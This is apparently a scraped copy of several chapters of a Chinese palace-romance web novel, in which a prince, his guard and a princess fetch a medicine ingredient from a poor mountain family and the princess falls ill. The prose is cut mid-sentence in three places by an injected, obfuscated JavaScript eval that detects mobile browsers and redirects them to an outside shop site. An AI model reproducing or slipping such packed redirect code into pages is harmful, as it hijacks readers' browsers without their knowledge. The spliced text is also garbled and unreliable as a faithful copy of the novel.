“大小姐，起来了吗？”袁鸣听到里屋响动，才在房外隔着门板试探地唤。 “嗯…”苏萦睡眼惺忪地坐在床边醒神儿：“有还哥哥呢？” “少爷出去采买咱们进山要用的东西了。”袁鸣背靠着门板把两臂一抱，悻悻地抱怨：“我说我去，他偏说我买东西眼光不行。大小姐，你说说，我买东西怎么不行了？我家娘子要什么，都是我去买，她从来没说过我眼光不行…” 苏萦伴着门外袁鸣的唠叨声，已经洗漱完毕，拿着妆粉胭脂坐到了妆台前，才打开盒盖拿起粉扑，突然想到：“咦？今日进山，是不是不该梳妆啊？” “你就不必跟着去了。”萧征的声音从楼梯口响起。 袁鸣回头，看到“满载而归”的自家主子，忙迎上去接手，惶恐道：“少爷，咱们这是要搬到山里住啊？” 萧征手上提的肩上扛的满满当当，隔着包袱皮，看不出式样，苏萦开了门，三人进屋打开来一看，布匹，茶饼，畜肉，粟米，四样谢礼，另加一只崭新的药罐。 萧征边将物品重新打包，边叮嘱苏萦：“待会儿我们走了，你就让车夫拉着你到前面驿站去与大车汇合。他们要杀的人是我，不会牵连你的。” 那可不好说。苏萦心中暗道。 “昨夜就进错了屋子，我看他们派来的人脑子不灵光，保不齐还会再弄错。再说，他们找不到你，到时候挟持我做人质逼你现身怎么办？” 萧征略一沉吟：“倒也不无道理。那你跟着我们吧。” 她要跟着，肯定也在他计划之内。苏萦在心里神气地轻哼一声。她早就瞥见，萧征买的那堆进山的装备里，分明就有一双合她鞋码的小长靴。 进山的路上尽是几尺高的灌木野草，根本看不见人踩出来的路，只能自己趟着走。车马进不去，留在外头等候。萧征单给苏萦雇了顶轿子，两个人抬着她进山。那轿子也不甚舒适，没遮没挡，光秃秃一张椅子，抬杆是两条干的裂口的竹棍，看得人胆战心惊。赶尸似的，坐的人没比抬的人高多少，腿脚还是要从底下的野草丛中刮过。 萧征俯下身，给苏萦扎好裤脚，在她靴子上掸上些驱虫的药粉。 这般细致周到，让袁鸣都不禁半开玩笑地感叹：“殿——兄弟，行家呀！” 三人为了顺利求得药引，又换了重身份，苏萦是药铺的小少爷，他们两个是药铺的伙计。说多错多，三人为了不暴露身份，一路无话地由两个轿夫领路到了山里的刘家村。 轿夫把三人扔在村口便扬长而去，萧征把价钱抬了几倍，两人也不愿意留下来等他们。看来回程只能自己设法了。苏萦从轿上下来，自己徒手掸掉裤子和鞋上粘的枯枝败叶，打量一下他们如今这副寒碜打扮，也不像是能出得起高价钱的，难怪人家不愿意等。 三人在村里几经打听，终于在村尾找到了那户人家。低矮的土墙，茅草覆顶，唯一显得“厚重”的，便是屋旁那口被烟火熏得黝黑、饱经风霜的老药灶，无声地诉说着主人家长久的艰辛和生生不息的坚持。 屋内，一位瘦骨嶙峋、面色灰败的老者靠在榻上，胸口剧烈起伏，眼神却异常执拗。他正是那位民妇亡夫的叔父，刘老丈。萧征依旧以药材商人的身份，诚恳说明来意，并奉上丰厚的布匹、茶肉和新药罐。 刘老丈的妻子儿孙们看着那堆足够他们家吃用半年的谢礼，眼中都流露出渴望。然而，刘老丈却剧烈地咳嗽起来，枯瘦的手死死抓住炕沿，嘶声道：“不卖！给座金山也不卖！这灶……这锅……跟了我十几年，是我的老伙计！它走了……我这口气……也就散了！” 他顽固地将这药灶视为自己生命的一部分，任何形式的“失去”都让他感到恐惧。 全家人眼中的光都暗了下去。这病老头儿在家一定是说一不二的性子，他既下了决断，这事就没有商量的余地。 刘老丈的妻子送他们出门的时候，苏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16799177|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萦注意到她的眼里简直含着泪。 “怎么办啊殿下？”袁鸣苦着脸，一筹莫展。 “要不咱们等天黑了潜进他家偷出来。”苏萦大胆提议。 “我只担心黑天的山路更难行，咱们会在山里迷了路。”萧征皱眉思考着可行性。 “不是，殿下，你还真赞成咱们趁天黑去偷啊。”袁鸣不可思议地盯着萧征的脸。 “那当下除了这个法子，你还有什么好办法吗？”萧征耸肩苦笑。 契机在始料未及的时候从天而降。 三人不甘心就这么走了，村里又没个落脚的地方，只好在刘老丈家附近漫无目的地游荡。 “打起来了，打起来了！”两个干瘦的小孩子突然从刘老丈家尖叫着跑出来。 萧征认出那正是刚在房中见过的，刘老丈家的两个孙子，忙让苏萦留在门外等候，他和袁鸣径直冲了进去。 “刘老倔！你家这药味天天往我家飘，都说了多少回了！我儿媳刚怀孕，闻不得这个！ ”一个蛮横的剽形大汉怒气冲冲地指着刘老丈的鼻子骂道：“今天非得跟你说道说道！” 刘老丈颤颤巍巍地站起来，气得挥舞着干瘦的拳头，眼中布满红丝，口中叽里咕噜地咒骂着，妻子儿女强拦着他，都被他推搡的踉踉跄跄。 “我看你也没几年活头了，还天天喝这药干什么？喝穷了你一家子！”大汉把手里的锄头乱挥一气，一锄头砸在沸腾的药灶上：“我替你砸了这破药罐子！” 药罐应声碎裂，汤水迸溅，浇灭了炉火。大汉犹嫌不过瘾，又是几锄凿向灶台，灶台塌成一片废墟，扬起的浮土盖灭了炉火。 “我的锅！我的灶！” 刘老丈眼见陪伴自己十几年的“老伙计”瞬间损毁，情绪激动，一口气没上来，脸色瞬间由灰转青，捂着心口向后倒去。 “老头子！” “爹，爹！” 妻子儿女恐惧的尖叫声响成一片，那大汉一眼瞥见那两个药材商冲进来，却像松了口气似的停了手。 “都让开！” 本等候在外头的苏萦也突然冲进来，口中急道：“袁鸣，给我针囊！” 她跪在榻前，深呼一口气稳住心神，取出银针，精准迅速地刺入刘老丈胸前几处大穴。几针下去，刘老丈喉中咯咯作响，那口堵住的气终于缓缓顺了过来，脸色也稍稍恢复。 趁大家全在屋里关注刘老丈，萧征悄然走到院子里，突然，那大汉在身后拍了拍他的肩。 萧征回头，诧异地发现他不知什么时候把那药罐的残片都从倒了的炉膛里捡了出来，用衣裳下摆兜着，脸上竟露出小心翼翼的神情：“你们不是要灰吗，这灰还粘着呢，还能用吧？” 见萧征一脸不解，那大汉挤出的笑容里竟带着些歉意和羞涩：“他们家实在困难。你们要真能拿这么多好东西来换这口破锅，那真是帮了他们大忙了。要不然，我看他家马上就离饿死人不远了。这当口，哪由得这死老头子耍牛脾气！” 萧征震惊地将这大汉重新打量。没想到这淳朴的山民，竟为了帮邻居渡过难关，自导自演了一出连他们三个都没看穿的戏。 “能用能用。兄弟，多谢你！”萧征心中油然生出一股敬重和感激。 “那就好那就好，那我就给你们撂在这儿了啊！”那大汉如释重负，俯下身，把那几片瓦小心翼翼地倾在地上，转身头也不回地走了。 萧征追上前去，塞给他一些碎银，大汉连连推辞，像受了侮辱一般涨红了脸，粗着嗓子嚷：“我不是要钱！” “若没兄弟你帮忙，今日我们必得无功而返。”萧征真诚地解释道：“托您的福，我父亲的病有救了。” 大汉将他从头到脚打量了一遍，伸手接过银子，得意地哼了一声：“你父亲？刚你们从我家门前过，我就猜着，除了那个小个子，你也是个管事儿的！” 28. “揣好吧。” 刘老丈缓过这口气来，躺在床上紧闭双眼，嘴撇得像把弯刀。刚才施针时扯开的衣裳又由他的妻子给他穿好了，那干尸一样的胸脯还在苏萦心里挥之不去，嶙峋的骨头上裹着干瘪的灰黄的皮。 “我要洗手。”苏萦一阵恶寒，冷冷地提出要求。 刘老丈的女儿忙去外头缸里打水，生怕怠慢了救命恩人。 水缸表面都漂着一层浮冰，该烧热一点洗手才合宜。那女孩子舀了水回来，看着已倒塌了的灶台犯难。 苏萦看了她一眼，忙摆了摆手说不用了。 萧征带着袁鸣走进来，看向气呼呼地闭着眼的刘老丈。 “老先生，如今药锅虽已损毁，但这些碎片，我也依然愿意按先前说好的价钱收购。您若同意，我和我这位兄弟，再帮您把灶重新垒好，您看可好？” 刘老丈皱着眉头，眼珠在松弛皱缩的眼皮里乱滚，终于打定主意，像受了多大委屈似的，长长地叹了口气，别过脸去，算是默许了。苏萦见这一家子穷苦人的脸上一下都有了笑模样。连那两个黄瘦的小孩子，衣裤上补丁遍布的，都切切察察小耗子似的交头接耳，欣欢鼓舞：“有肉吃了！” 袁鸣可觉得有点尴尬。 和萧征两人蹲在那堆废墟前面，袁鸣不好意思地小声嘀咕：“殿下，我家的灶台还是我爹在世的时候垒的呢，我也没学过这手艺呀！” “哦，那你就在旁边帮我打打下手吧。”萧征目测了下尺寸，起身挽起袖子，兀自忙活起来。 苏萦和袁鸣目瞪口呆地看着萧征有条不紊地清理残骸，调灰浆，填缝，抹平，底下用碎砖垫层，四面垒起灶墙。 “他怎么会干这个啊？”苏萦悄声问袁鸣：“你们行军的时候学的？” “不是啊？”袁鸣也诧异：“我们野外行军，都是在地上挖坑埋灶——” “袁鸣，帮忙。”萧征头也没回，打断二人的窃窃私语。 “殿下，你什么时候会的，属下怎么不知道？”袁鸣蹲在他身边试探着小声问。 “到了该会的时候，自然就会了。”萧征云淡风轻地答。 “自然就会了？”袁鸣把苏萦推上来，半开玩笑地揶揄：“殿下看看，咱们郡主什么时候会？” “她呀？”萧征回头看了苏萦一眼，低下头去笑着继续忙活：“她一辈子也用不着会。” 萧征搭灶，刘老丈的儿子抢着来搭手，把袁鸣挤到一边去了。袁鸣擎着两手没事干，就走到院子里帮苏萦戗下碎瓦片上的锅灰。 三钱“百草霜”很少，这里不知能刮出多少个三钱。苏萦拿着个小毛刷，很小心地把粉末分成几份，扫到随身携带的小瓷瓶，小木盒，小布袋里，方便三人分别携带。万一回去的路上再有萧谅的人来阻挠，目标分散，药引被带回去的概率总还大一点。 “袁鸣，我告诉你个秘密。”趁院子里只有他们两个人的时候，苏萦低着头，突然幽幽地说。 “今天白天，李婆婆，就是刘老丈的老伴，送我们出来的时候，我看她的眼睛盯着我们手上拿的那些东西，那么想要，又那么无可奈何。” “我当时心里想的是——” 要是那老头儿就在那时候蹬了腿就好了。” “我们拿了百草霜，他们一家得了银钱粮食，皆大欢喜。他是全没用处的一个人，一个拖累，却要全家人都听他的，凭什么？” “哦，”苏萦幡然醒悟似的，自嘲地摇摇头：“你也是个男人，说了你也不会懂的，我跟你说什么。” “我懂，我懂。”袁鸣忙认真地点点头：“可是，郡主，刚才他真的两眼一翻，你不也——” “能救又不救，我心里不踏实。”苏萦转过头，看着一点点掉下去的夕阳呢喃：“我是为我自己，不是为那老不死的。” 傍晚的红霞照着她稚嫩的脸，连刻薄的话都显得有趣，袁鸣看着她总有点想笑。 “那年母后被陛下打入冷宫的时候，你来了吗？” 袁鸣没想到她冷不丁说起这事来，忙偷眼朝屋里一瞥，怕萧征突然走出来。 “…没来呢，这事儿还是后来听人说的。” “你都不在，就母后和我们三个。”苏萦轻叹一口气：“有还哥哥吃冰吃到吐血，生命垂危，这才求得陛下垂怜，让母后得以重返玉栖宫。” “我当时就想，要是陛下驾崩就好了。” 袁鸣像见了鬼一样盯着苏萦那张毫无波澜的小脸，压低了嗓子呲牙咧嘴地提醒道：“郡主慎言！” “我知道，我知道。”苏萦敷衍地点点头：“我现在回头看，也觉得当时自己想的太欠妥当。陛下若是那时驾崩，我们还太小，母后和我们，一定不会落得一个好下场。可是，那么一个毫无用处，只带来伤害的男人，我从不后悔那样想他：要是他就在我最讨厌他的那一瞬间，立刻死了就好了。” “郡主，这话你讲给属下听也就罢了，属下一定不会让他人知晓，可是千万——”袁鸣朝屋内使了个眼色。 “我就是知道袁侍卫可信，才只和你说了。”苏萦朝他俏皮地眨眨眼，扑扑手上的灰站起来，把其中一小袋“百草霜”抛给他：“揣好吧！” “诶！”袁鸣忙双手接住，小心地揣在怀里。 陛下呀，这可是您那早十年就盼您死的义女亲手给您装的药引——袁鸣心情复杂地隔着衣服把那小布袋子拍了拍。 暮色渐沉，才砌好的灶台灰浆还未干，刘家连一顿晚饭都无法招待，只好满含歉意地面向他们，在狭窄的房中站成一排，每个人脸上都挂着局促的笑，苍白地说着千恩万谢的话。 苏萦从自己的随身行李里拿出糕饼，趁大人们不注意，把那两个小孩子叫到外头院子角落里，给他们分着吃了。 小一点的男孩狼吞虎咽地吃完了，一双贼溜溜的小眼睛盯着姐姐手里那份。大一点的女孩子吃得很慢，总想趁苏萦不注意藏起来，不知是想留着给谁。 “快吃，不吃就还给我。”苏萦板起脸，眼神一下子就冷下来。 那女孩子像受了惊的兔子，一缩脖子，忙全都塞进自己嘴里，苏萦这才满意地站起身，走到已和刘家人告别走出来的萧征袁鸣身边。 “郡主，咱们晚上可没饭吃了，你把点心都给他们了？”袁鸣忍不住打趣她。 “我以后吃的机会多着呢。”苏萦满不在乎：“他们，要是像他们父母的命一样苦，一辈子也吃不上几回吧。” 萧征皱着眉头笑了。她就是这样，好好的话到了她嘴里，总要掺些居高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16799178|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 临下的残忍和刻薄。 “要委屈华容郡主跟我们走一段山路了。”萧征凑近她低声说。 “小菜一碟！我体力很好的。”苏萦拍着胸脯保证。 萧征引路，袁鸣断后，把苏萦夹在中间。沿路的树枝屡次顽劣地伸出手刮住他们的大氅，风越走越大，天也越走越黑了。 白天记住的地标越来越难找，眼前的景色越来越陌生，萧征心中有点慌了。回头望向苏萦，小姑娘还真像自己说的那样，一直默默地低着头跟着走，只是又累又冷，小脸儿都下意识地垮起来了。 “停一下。”萧征站住脚步。 三人站在原地犹豫之际，袁鸣眼尖，指着前面不远的山腰处：“殿下，郡主，你们看！那儿像是个…山神庙？” “就去那里。”萧征当即决断。 苏萦累得蔫蔫的，抬起头来疑惑地小声问：“咱们来的路上有看着这么个庙吗？” 两个少年你看看我我看看你，很尴尬地没有答话。 “走偏啦？没关系没关系，”苏萦忙摆摆手，自己先艰难地迈开腿朝那座庙走去：“就去那儿吧我太累了…” 庙宇果然破败，但主体尚存，可遮风避雨。想必这里也常有人留宿，干草铺的几个简易地铺是现成的。袁鸣手脚麻利地清扫出一块干净地方：“殿下，郡主，今晚只能委屈一下了。” 萧征把行李放下，又把那几堆干草全部挑开重新铺了一遍。 “这现成的还重铺它干什么呀？”苏萦困得眼皮直打架，只想一头栽倒在大草堆上。 “郡主，殿下怕里面藏着大老鼠，一会儿睡觉的时候钻出来咬了你。”袁鸣十分“贴心”地坏笑着解释。 “啊——！”苏萦惊跳起来，尖叫着一把搂住萧征的腰，扯得没有防备的他踉跄了几下，把脸埋在他背后咧着嘴哭唧唧：“嗬蛤蛤…我害怕，我害怕！” “没有，没有。”萧征哭笑不得地用干草叉挑起来给她看：“你自己看看，哪有什么老鼠，听他胡说八道。” 收拾停当，又生了一个小火堆，萧征将自己的大氅铺在最厚实的干草堆上，对苏萦道：“未晚，你睡这里。” “那你呢？”苏萦问。 “我和袁鸣轮流守夜。”萧征的语气不容置疑，“此地不宜久留，明日天不亮我们就动身。” “可是你昨晚就没怎么睡。” “我没关系的。” 庙外风声呜咽，篝火中的枯枝发出细微的爆响。苏萦躺在带着萧征体温的大氅上，已经睡熟了。 “这么艰苦的环境也能睡着，没想到，郡主还挺适合出远门的。” 袁鸣和萧征围着篝火席地而坐，袁鸣掏出酒囊递给萧征：“殿下，喝两口解解乏。” “这么艰苦的环境，不是她该来的。”萧征抿了两口酒，注视着火光沉吟。 上辈子她哪来过这种地方？从宫里出来，就进了他的王府，两人和离后，又回到宫中。一辈子短短四十几载，都是荣华富贵，锦衣玉食，哪有像当下这样，饿着肚子灰头土脸睡在稻草堆上的时候—— 袁鸣突然敏锐地站起身来，屏气凝神地听着山门外的响动。 “殿下，”袁鸣表情凝重，握紧了腰间长刀：“有人来了。” 29. “…我好像喝多了。” “铮”地一声，袁鸣将腰刀抽出半寸，侧身贴紧斑驳的门板，与萧征交换了一个警惕的眼神。萧征无声地移至门另一侧，将沉睡的苏萦护在身后阴影里，对袁鸣微微颔首。 “吱呀——” 袁鸣猛地拉开破旧的庙门，山风裹着寒意瞬间灌入，吹得火堆明灭不定。他刀锋般的目光向外扫去，却意外地定格在两张熟悉的、带着惊惶与疲惫的脸庞上。 “…郭姑娘？”袁鸣愣住，下意识地收刀回鞘。 门外，正是郭娑与其侍女宝冉。两人发髻微乱，裘裙下摆沾满了泥泞与草屑，在清冷的月光下显得楚楚可怜。郭娑抚着胸口，眼中满是“劫后余生”的庆幸：“袁侍卫！竟然是你们！真是，真是太好了！” 宝冉也急忙行礼，声音带着心虚的颤抖，目光游移：“参见永宁王殿下，袁侍卫。白天的时候刮了一阵大风，我们与前车走散了，来到镇上寻了许久，幸得客栈掌柜指点，说你们今日进山，这才冒昧前来，望殿下恕罪。” “深山夜寒，两位姑娘独自行动太不安全，以后切莫如此。” 萧征眉头微蹙，目光在她们狼狈的形容上停留一瞬，侧身将两位姑娘让进庙内。 郭娑主仆连声道谢，赶忙向里走去，温暖的空气让她们几乎要喟叹出声。她们的目光不由自主地投向火堆旁那个裹在大氅里、背对着这边一动不动的身影。 “那是…华容妹妹吗？”郭娑轻声问道。 袁鸣挠挠头，帮着解释：“郡主累坏了，睡得沉。” 他试图让气氛轻松些：“咱们郡主别看平日里娇气，体力还真不错，走了好几个时辰的山路也没喊苦喊累。” 郭娑主仆对视一眼，心中暗自不屑。谁还不是身份尊贵的郡主呢？好像他们大朔的郡主，就要格外金贵似的。 几人围着火堆坐下，萧征的目光却紧盯住苏萦一动不动的背影，察觉到一丝异样。 “未晚？”他快步走到她身边，蹲下身轻声唤。 没有任何回应。他伸出手指探了探她的额头，触手的温度高得有些不寻常。 他担心自己的手凉感觉不准，便又俯下身，用自己的眼睑轻轻贴上了她的额头。 那一瞬间，庙内的空气仿佛凝固了。郭娑主仆和袁鸣都下意识地移开了视线，或看向火堆，或望向屋顶，各怀心思，脸上的表情都有些许不自然。 两人肌肤相触的一瞬间，萧征也惊觉不大合宜，可暂时也顾不了那许多了。此刻在他身/下的是个被香粉和胭脂腌入了味的姑娘，独特的馥香充斥着他的鼻腔，她的脸颊泛着病态的潮红，鼻息滚热的扑在他脸上。 怪不得，这养尊处优的姑娘，客店的枕头都嫌弃不愿沾身的，能在这种环境下睡得这么沉！ 他起身从行李中拿出苏萦的小水壶，回到草垛旁小心地托起苏萦的上半身，柔声哄劝：“未晚，起来喝点水。” 苏萦迷迷糊糊地咽了几口，又软软地倒了回去。 “袁鸣，给我酒囊。” 袁鸣忙起身上前，拧开酒囊递过来，担忧地探问道：“殿下，郡主怎么了？” “她有点发热。”萧征语气中满是懊恼与自责。 “啊？那怎么办呀？要不咱们即刻动身，去镇上寻医馆——” “应该只是劳累风寒。我们此时动身，也不好找路，白白的耽误功夫，先在这里待到天亮再说吧。”萧征倒了些酒在掌心搓热，然后力道适中地在她的太阳穴上揉按，又拉过她的手，一遍遍揉搓她的手心，试图用这种方法为她暂时降温。 “殿下，华容妹妹身体不适？让我和宝冉来照料吧。”郭娑也走上前来，毛遂自荐。 “不必了，倒是——”萧征回头，目光在她身上一扫而过，面露难色地发问：“郭姑娘，你身上的披风能否解下来给未晚加上？她身上发冷，我怕一件大氅不够。” 郭娑脸上的笑容瞬间有些僵硬，但很快便恢复如常，甚至带着“理应如此”的坦然，微笑道：“自然可以。” 她麻利地解下那件还算厚实的锦缎披风，递了过去。萧征接过，道了声谢，仔细地盖在苏萦身上，将她裹得更严实了些。 “袁鸣，” 萧征起身走到篝火旁吩咐：“再去捡些柴，把火烧旺点。” 就在这时，苏萦长长的睫毛颤动了几下，终于悠悠转醒。她见了面前站着的郭娑，竟毫不意外地眨了眨惺忪的睡眼：“郭姐姐，你来啦。” 烧得浑浆浆的脑子里滑过她最后叮嘱蜜合的话：“她们执意要溜走，你们也别强留，由她们去就是。” “哎，”郭娑立刻蹲到她身前，神情关切：“华容妹妹，你感觉怎么样？” “挺好的啊，”苏萦吸了吸鼻子，嗅到自己周身弥漫的淡淡酒气，眯着眼醺醺地笑：“我好像喝多了…” 众人见她烧得说胡话，都有些哭笑不得。只有萧征眉间化不开的担忧，轻轻按住她的肩膀：“嗓子都哑了，少说话吧。” 苏萦却像是没听见，费力地往草垛里侧挪了挪，背对着郭娑，让出半边位置，含糊道：“郭姐姐，你睡我旁边吧…” 顿了顿，又迷迷糊糊补上一句：“你睡觉老实点儿啊…别挤着我…” 萧征见状，立刻朝郭娑无奈地苦笑一下，摆了摆手：“别跟她一起睡了，当心把病气过给你。我们另给你们二位铺个地方睡。” 话音未落，瞥见一直沉默寡言的宝冉已经动作利落地用旁边的干草，在不远处为她们主仆铺好了一个勉强可躺卧的草堆。 “多谢殿下关怀，这样便很好了。” 郭娑维持着得体的微笑，拉着宝冉，走向那个简陋的新铺位。 袁鸣依言去庙外捡拾柴火，破旧的山门发出吱呀的轻响，又归于沉寂。庙内，火光跳跃，映着几人神色各异的脸。 郭娑主仆二人和衣挤在单薄的草堆上，宝冉把自己的披风抖开，盖在两人身上。萧征半跪在苏萦身旁，用贴身手帕蘸了水囊中微凉的水，细致地擦拭苏萦滚烫的额头和脖颈。他的动作专注而轻柔，仿佛周遭一切都已不存在。 苏萦似乎舒服了些，昏昏沉沉中，感觉到额头上舒适的凉意，她无意识地蹭了蹭萧征还未收回的手掌，像只寻求安抚的猫儿。 萧征身形一僵，那依赖的触碰，带着滚烫的温度。他闭了闭眼，压下翻涌的情绪，继续着手上的动作。 “马上就天亮了，天亮哥就带你回镇上看郎中，再坚持坚持。”他凑近她耳边轻声安慰。 郭娑听着不远处萧征与苏萦的喁喁低语，面向斑驳的墙壁，看见跳动的火光将那对相偎的身影投射在上面，像彩绘壁画，记录着的美丽传说。她睁着眼，毫无睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“妹妹说这话，倒显得与我生分了！”郭娑皱起眉头，假意怪罪似的。 苏萦的精气神可还没足到能和郭娑你来我往的虚与委蛇。她忙转身急匆匆凑到萧征身边去了。 “我带着郭姑娘主仆二人先出山，让袁鸣在这里陪你。”萧征说出自己的计划：“然后我再雇顶轿子进山来接上你们。” “那还折腾什么？”苏萦不满道：“没有多远了吧？我好了，我能走的！” “不行，病中一点也不能受累，必须静养，不然会落下病根。”萧征一脸严肃。他脑中浮现长公主头痛欲裂，缠绵病榻的样子。这一世，我一定护得你平安康健，长命百岁。 苏萦看来，这副“这事没得商量”的固执表情，简直像山里那个死老头。 “我偏要自己走！”苏萦从袁鸣手里抢过自己的包袱，赌气往前走了几步，突然一阵头晕目眩。她自己扶着头勉强立住了，萧征面有愠怒地追上来把她扯回去，她还在倔强地找理由：“我这是昨晚没吃饭饿的！让，让你刚才给气的！” “殿下，”默了半天的宝冉突然开口：“我来背郡主吧。” 30. “放心，您清白还在。” 萧征和苏萦都是一愣。连郭娑心中都十分诧异，只是没有表现出来。 你背我？苏萦暗中来回打量着宝冉和郭娑。 唱的哪一出？烧我的布没成，还想摔我的人？ “我不要你背。” “那就有劳宝冉姑娘了。” 苏萦和萧征异口同声，又一齐截断话头，尴尬地匆匆别过脸去。 “郡主，请吧。” 宝冉走到她身前，背朝着她俯下/身子。 “…你能背得动我吗？可别把我摔了。”苏萦还站在原地扭捏。 “三个督可都是在我背上长大的。”宝冉的语气中莫名透着神气。 “哦…”苏萦鬼使神差般顺从地俯到宝冉背上，双手轻轻搭在她的肩膀上。等宝冉把她稳稳地背起来，毫不迟疑地快步向前走时，苏萦才试探着说出自己的疑问：“你说谁有三个肚？” “哦，督就是弟弟。”宝冉解释道。 “我说呢！”苏萦哈哈大笑：“我就记得牛好像有四个…” 宝冉背着苏萦，两个人聊着天，反倒越走越快，把剩下三人落在后面。 “宝冉姑娘走那么快，走的对不对啊？”袁鸣哭笑不得。 “宝冉记路线是最厉害的，一定能带我们走出去。”郭娑在旁不无得意地解释。 “宝冉，你为什么提出要背我呀？”看把他们三个都远远甩在后面，苏萦悄悄地问。 “为了报郡主的恩。上次郡主没有怪罪奴婢，还——” “可是你的手到现在也没好啊。”苏萦眼尖，早瞧见了：“你手上是长冻疮了吗？大车上有手炉有汤婆子，有擦手的油膏，你们要了吗？” 宝冉倔强地抿着唇不语。 “嘁，傻。”苏萦轻哼一声。 宝冉气得简直想把这傲慢的小姐从背上摔下来。 气呼呼地闷声走了一段路，背上的苏萦忽然又小小声地问：“宝冉，你喜欢玛瑙吗？” 宝冉失笑。这华容郡主又在研究贿赂她了。 “郡主省省吧，殿下不是说了，让郡主专心休息，不要说话。” “不喜欢啊？”苏萦眨了眨眼，不甘心地继续试探：“那红宝石呢？你原来在部落里做公主的时候，一定有好多首饰吧？” “宝冉，沦落到做下人，也不是一辈子都要做下人。” “做下人，也不是就非要过苦日子。” 苏萦兀自嘀嘀咕咕地说，也不知道宝冉听进去了没有。 没过多一会儿，进山的大路就出现在眼前。 苏萦从宝冉背上跳下来，由衷地大声夸赞：“宝冉你好厉害，你是草原上的领头羊！” 宝冉回头看了兴奋的苏萦一眼，没答话。若作为朋友与苏萦相处，她完全是一个极真诚的人。 只是—— 她转身迎着郭娑走去。 五人找回马车，抓了驱寒止咳的药又回到客栈。客栈掌柜仁厚，并不怕惹祸上身，欣然同意他们再次留宿，还让后厨帮忙煎了药。 “殿下，属下看这小地方的治安倒比京城的还好。”袁鸣从外面回来，敏锐地发觉：“自从咱们在这里抓到了贼人，官府就在此处加派了人手，我看客栈前后这两条街上一直有人巡视呢。” 萧征蹙着眉头朝客栈外一望。他当时信口胡诌的通缉犯，能引得如此重视？ 旋即，他便心领神会：“不是这地方的治安特别好，”他指了指苏萦上楼的背影：“是她舅舅特别疼她，生怕她有闪失。” 苏萦对外面的变化浑然不觉，一进客房就又一头扎在床上睡了一小觉。等醒过来的时候，萧征坐在床对面的茶桌前，帮她搅着吹着滚烫的汤药。 药里给她融了冰糖，配了果脯，苏萦还是喝得整张小脸都皱起来，看得萧征忍俊不禁。 “我都打听好了，你的车就停在前面不远的驿站等着呢，让他们陪你回去吧。至于余下的两样药引，我和袁鸣单独去找。” 苏萦不甘心地盯着脚尖，很没底气地呢喃：“我都好了。” “不许任性。”萧征沉下脸来。 苏萦顶不爱看他这副表情，像个顽固迂腐的老先生。 不过，他今天看起来不对劲可不全是因为表情。 “你脸色好差。”苏萦担忧地拧起眉头。 萧征两天两夜没睡一个踏实觉了。眼下青黑一片，嘴唇也没了血色，还硬撑着摇了摇头：“没关系的，你再睡一会儿吧。” 掩了客房门一径下楼，萧征就叫袁鸣抓紧套车启程。 “那郡主——” “赏明宫的人会陪她回去，我已经捎信让他们往回返了。”萧征努力支撑着越来越沉的头：“再说，回京的路上一定有不少乔统领的耳目，会保证她的安全。” 袁鸣依言去外面套车，萧征望着他的背影，缓缓地坐在台阶上，用掌根敲了敲昏胀的头，想强迫自己清醒一点。 —— 再醒来的时候，萧征竟躺在客房的床上，被角掖得整齐，额头上搭着湿帕子。他茫然四顾，见房中摆着一只红泥小炉烧得正旺，其上的一只小砂锅热气腾腾，满屋子甜香氤氲。 苏萦已梳洗停当，从头到脚换了一身干净衣裳，正坐在炉前有模有样地扇火，笑着看向他：“你醒啦？马上就有雪梨羹吃啦！” “你在干什么？”他艰难抬头。 “我在照顾病人啊。”苏萦的语气理所当然似的。 他这才发觉自己额头滚烫，身上一阵一阵恶寒。简直像全身陷在沼泽地里，四肢都像坠了铅块一样重。 “你看，我多讲道义，”苏萦走上前来，给他投洗敷头的湿帕子，顺便朝他挤挤眼睛，意有所指地揶揄：“都没说趁你睡着自己偷跑了。” “我和袁侍卫商量了一下，虽然你病着是个拖累，不过呢，我俩勉为其难！还是愿意带着你一起走。” 好一套反客为主，萧征气得牙痒痒。 苏萦像是看透了他的心思，笑眯眯地递上一小碗雪梨羹来：“牙不舒服啊？吃点梨就好了。” 房门被敲响，郭娑的声音在门外响起。 “华容妹妹，殿下醒了吗？要不要紧啊？” “不要紧不要紧，”苏萦利落地盛出一碗雪梨羹递出去：“郭姐姐吃梨，对嗓子好的。很烫，快端走吧，一会儿烫到碗沿上不好拿了。” 人还没进屋就给挡了出去，华容郡主好手段啊。 萧征看破不说破，悠哉悠哉地坐在床上，搅着吹着香甜的雪梨羹。 苏萦才掩了门，萧征便偏过头问她：“你自己吃了吗？” 苏萦把小腰一叉：“我不吃，我不和你‘分梨’。” 她还存了这样的小心思！他哑然失笑，假装喉咙痒，咳了两声掩住笑容。 外面天色渐暗，苏萦也乏了，把袁鸣叫进来替她。 袁鸣一进房，萧征就赶忙提醒他：“你让郭姑娘多关照下苏萦，我怕她夜里再发起热来。” “还用她们关照什么？”袁鸣诧异：“大车回来啦！有蜜合他们一大帮人呢！” 